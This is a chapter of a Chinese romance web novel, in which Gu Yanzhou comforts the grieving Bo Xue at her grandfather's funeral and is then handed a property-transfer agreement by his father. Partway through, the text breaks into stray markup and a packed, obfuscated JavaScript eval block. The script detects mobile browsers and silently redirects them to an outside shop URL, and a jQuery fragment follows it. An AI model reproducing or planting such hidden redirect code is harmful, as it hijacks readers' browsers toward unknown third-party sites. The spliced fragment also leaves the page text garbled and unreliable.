男人长身玉立,视线微垂,看起来温润如玉,可那双狭长黑沉的眼又尽显冷漠与薄凉。
薄雪抬眼打量他,莫名觉得这人有些眼熟。
她想,对方既知晓她的身份,又能精准叫出她的名字,那他们之前定然是有过交集的。
凝神思索了下,薄雪终于回忆起来,几个月前她在西梁山当志愿者时意外与组织走散,又因夜盲症被困在盘山公上,就是眼前这人出手相助,将她带到云顶山庄与孙灜汇合。
想到这里,薄雪暂且放下了心中的戒备,紧绷的神经也随之舒展。
意识到自己此刻的狼狈,她慌忙揩去眼下的泪,稳住声线冲那人说道:“你是来祭奠我爷爷的吗?灵堂不在这边,你走错路了。”
“我已经祭奠过老人家了。”顾砚舟开口,嗓音略哑,“我刚才在走廊边上接电话,听见这边有人在哭,以为出了什么事,就过来看一看。”
他平日里惜字如金,难得耐心解释这么多。瞧见她脸上未干的泪痕,从衣兜里取出一条干净的手帕,递给对面的女孩,“擦擦吧。”
薄雪怔住,一时不知该作何反应。
见她迟迟没有动作,顾砚舟直接凑近一步,轻握她的手腕,将手帕搁在她掌心。
薄雪不忍拒绝对方的好意,便礼貌道了声谢,收下了。
她攥着手帕边缘,将眼下的泪痕一点点擦拭干净。
这块手帕质地柔软,上面残留着清淡的木质香,很是好闻。
薄雪眨了眨酸涩的眼睛,瞧见手帕上沾染的泪渍,正考虑要不要将其洗净后再归还给他,对方却先一步开了口:“我知道薄老的离开对你打击很大,也知道你们爷孙之间的感情很难割舍。但你还年轻,不论多么沮丧不舍,都要尽快调整好心态,向前走,朝前看。”
他温声宽慰她,“我一个外人本不该多说什么,但薄老曾有恩于我,我对他比旁人多了些感恩与尊重,自然不忍眼睁睁看着他的孙女难过伤神。”
“外面下着小雨,气温也低,你若是已经调整好心态,就快些回去吧,当心感冒着凉。家人长时间看不到你也会着急的。”
顾砚舟面容冷峻,不苟言笑,就连声音也透着十足的冷意。可说出的话却让薄雪倍感温暖,这与他本人给人的印象十分割裂。
薄雪虽有点惧怕他,却也发自内心的感谢他。她仰头看着对面的人,唇边牵出淡淡一抹笑容:“谢谢您,顾……”
话说一半,忽然卡了壳。
她该称呼他什么呢?
叫“顾总”好像太过死板,直呼其名又太没规矩,显得自己毫无教养。
薄雪垂着眼,认真思索了几秒,终于寻到一个合适的称谓:“顾叔叔,谢谢您安慰我,我现在感觉好多了。”
“顾、叔叔?”顾砚舟眉梢扬了扬,唇角笑容略显荒诞,“我今年二十五岁,不过年长你七岁而已,怎么就和你差了辈分了?”
薄雪怕他多想,下意识攥紧了手中的帕子,认真同他解释:“上次在云顶山庄,孙灜叔叔告诉过我您的身份……您是顾景辞的二叔嘛,我现在已经知道了。”
“我和景辞是很好的朋友,您又是他的长辈,所以我理应唤您一声‘叔叔’的,这样比较合理,也更礼貌一点。”
小姑娘说得头头是道,顾砚舟竟无从反驳。
索性点点头,笑道:“顾景辞那小子顽皮得很,平日里没有欺负你吧?”
“没有。”薄雪摇头,“我们也就是偶尔拌拌嘴,小吵小闹一下,他不敢欺负我的。”
顾砚舟轻轻嗯了一声,本想再说些什么,却寻不到任何有意义的话题,索性放弃。
他的视线落在不远处那一池清澈的湖水上,看着雨点在水面上砸出丝丝涟漪,神思飘远了一瞬,又被突然响起的手机铃声召回。
拿出手机看了眼,是发小陆知凛发来的消息。陆知凛向他转述了沪城分部一些重点项目的跟进情况,又询问他什么时候回去。
顾砚舟眉心微蹙,修长的指节噼里啪啦敲打在屏幕上,快速回了信息。
而后从衣兜里摸出一张名片,递给对面的女孩,眼中晃过一丝笑意:“这名片你拿着,我日后会常来京市,有什么需要帮忙的,可以直接联系我。”
“啊?”薄雪不明所以,“可是……”
“不必想那么多,拿着就好。”顾砚舟说,“我刚才同你说过,你爷爷生前曾帮助过我,我也一直感念着他老人家的仁心和恩德。只是可惜,我长期待在沪城,得到的消息太过滞后,没能来得及见到老人最后一面,亲口对他道一声感谢,更无以回报他的善意。”
“你是薄老的孙女,想必老人家生前一定很疼爱你。作为前辈,我给你一些帮助和照顾也是应当的。”他将名片放在她的掌心,顺势将她的手指合拢,温声说道:“收下吧,以后遇到难事随时找我。”
他说完,冲女孩点了点头,转身利落地走开了。
薄雪虽知晓他的好意,却也有些莫名。
顾砚舟固然诚意满满,可除去他和爷爷之间那层微薄的渊源,他们之间并无任何联系,以后怕是更不会再有交集。
薄雪拿起那张名片,前后看了看,正犹豫要不要丢进垃圾桶,却被名片上那股淡雅好闻的香味吸引。
她凑近闻了闻,发现这香气和手帕上的气味不太一样。一个是的清冷高级的木质香,另一个则是淡雅清透的柑橘香。
二者中和在一起,更有种说不出的独特韵味。
薄雪唇角扬了扬。
不得不说,这人还挺有品味。
她正走着神,揣在衣兜里的手机忽然振动起来,母亲喻娴给她打来电话,问她去了哪里。
薄雪慌了神,立马往回走,边走边说:“我出来透透气,马上就回去了。”
电话挂断,她将名片和手帕顺手塞进衣兜,加快脚步朝着前厅去了。
-
祭奠结束,顾砚舟跟在父亲和大哥身后,礼貌地同薄家人道别。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682469|207538||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
离开前,他的目光再次瞟向站在角落里的薄雪,第一次这样细致地打量她。她的眼眶和鼻头依旧泛着红,却没再哭泣,瓷白清瘦的一张小脸,五官清丽漂亮。
此刻他才察觉,薄雪相较从前好似长开了些,个头也蹿高了不少,已经出落成亭亭玉立的大姑娘了。
也难怪,他的小侄子顾景辞成天将薄雪挂在嘴边,一提起她便是满面笑意。
一旁的交谈声将他出走的思绪拉回。
他同薄家人一一握手道别,嘱咐他们珍重身体,切勿过度伤心,然后便上了车,随父亲和大哥一同回了顾园。
-
花园里有鸟雀低飞。
许是被雨水淋湿了羽翼,它们用力扑腾着翅膀,却怎么也飞不高。
最后纷纷降落在屋檐下,在栏杆上整齐地站成一排,看起来可爱又心酸。
顾砚舟手持一柄黑伞站在院中,漆黑沉静的眼缓慢扫过院子里的陈设。目光落在斜前方那棵高大的枝叶茂盛的洋槐树时,眼中涌起复杂的情绪。
有那么一瞬,幻视了十几年前,母亲坐下洋槐树下看书写字的情景。
那是他孩童时期的记忆,美好,却又短暂。
而那些美好到屈指可数的时光,最后却通通终结在一个凉薄之人手中。
此刻,那人正从客厅缓缓走过来,掀开门口的珠帘,沉声唤他:“砚舟,你跟我来一趟书房,爸爸有话要对你说。”
他点点头,眼中情绪褪去,又恢复成一贯的淡漠疏离的模样,抬脚跟了上去。
书房里点着古朴淡雅的熏香,父子俩隔着一张书桌相对而坐,顾砚舟没有出声,耐心等着对面的人开口。
顾巍坐在案前,手里攥着一方手帕,细细擦拭着自己心爱的茶具,又叫佣人往里添了茶水,等待茶叶泡开。
精致的青瓷杯盏推到跟前,顾砚舟看着杯中飘浮的茶叶,眼中淡无情绪。期间顾巍问起他的近况,又问起沪城那边的生意以及整个分公司的运营情况,顾砚舟一一作答,却只是一语带过,言辞精简到没有一句冗余的废话。
待到茶水放凉,他拿起杯盏一口饮尽,抬眸望向对面的人:“父亲叫我过来,不只是为了找我喝茶聊天吧。”
顾巍闻言,晃动着茶杯的手微微顿住,随即笑道:“你既已猜到,那我就直说了。”
顾巍朝站在一旁的随侍招了招手,那人会了意,从里间的屋子里取出一份文件,递到老爷子手中。
待老爷子翻阅确认过后,又将那份文件复原,搁在顾砚舟面前,“这份协议你认真看一看,没有问题的话,就把字签了吧。”
顾砚舟低眸,扫过封面上那行放大加粗的黑色字体:【财产分割及股权转让协议】。
顾砚舟觉得有趣,眉梢微微扬起,鼻间溢出一丝轻笑。
此刻终于明白了,顾巍为何亲自打电话给他,让他回京一同参加薄老爷子的葬礼。感情是亲自策划了这么一出大戏,等着他回来才正式开演。